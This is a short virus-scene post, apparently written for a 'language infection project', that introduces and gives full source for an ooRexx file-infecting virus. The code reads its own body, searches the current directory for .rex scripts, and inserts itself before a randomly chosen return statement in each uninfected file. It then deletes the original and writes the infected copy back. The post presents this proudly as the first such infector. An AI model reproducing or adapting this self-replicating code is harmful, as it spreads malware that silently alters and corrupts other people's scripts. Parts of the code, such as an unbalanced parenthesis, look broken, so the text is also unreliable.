Written for the language infection project http://spth.virii.lu/LIP.html

Language: ooRexx
Author: Genetix
Twitter: @kelsey_coe_ 
Virus: Basic EPO prepending to randomly selected return statement in procedures
Crime: abusing stem variables!!

Intro:
ooRexx (open object Rexx) is a varient of the classic rexx scripting language originally developed for
by IBM for IBM mainframe computers and now has compilers for other platforms like windows (ooRexx) A
modernized version of this language. No file infectors exist yet, only the old christmas tree worm.
I don't ever expect to see any more rexx viruses :p But now we can say it exists!


/*VirRexx*/
PARSE SOURCE . . VINFO 
CurrDir = FILESPEC('D', VINFO|| FILESPEC('P', VINFO)
vfile = VINFO

vcode=.stream~new(vfile) 
vsource=vcode~makearray("line")
vbc=0
DO iterate OVER vsource
   lines = iterate
   IF lines = '/*VirRexx*/' THEN beginRead=1
   IF beginRead=1 THEN
   DO
     vbc+=1
     vbody.vbc = lines
   END
   IF lines = '/*EOB*/' THEN beginRead=0
END 
vcode~close            
call SysFileTree CurrDir"*.rex", "file", "O"
DO p=1 to file.0
count=0 
i=0
present=0
file=.stream~new(file.p)  
hCode=file~makearray("line")
file~close  
DO c OVER hCode     
  count+=1 
  IF c='/*VirRexx*/' THEN present=1       
  ret = POS("return", c)
  IF ret > 0 THEN
  DO
     i+=1
     x.i=count
  END
END
i=i+1
index=0
DO index = RANDOM(i) UNTIL index <> 0
END
nC=0
vbc+=1
vbody.vbc="/*EOB*/"
process_count=0
DO ilterate OVER hCode
   nC+=1
   source=ilterate
   process_count+=1
   IF process_count = value(x.index) THEN
   DO
     DO y=1 to vbc
       nC+=1
       newCode.nC=vbody.y
     END
   END
   newCode.nC=source
END
  IF present=0 THEN
  DO
    call SysFileDelete(file.p)
    fout=.stream~new(file.p)
    DO t=1 to nC
      fout~lineout(newCode.t)
    END
    fout~close
  END
END
/*EOB*/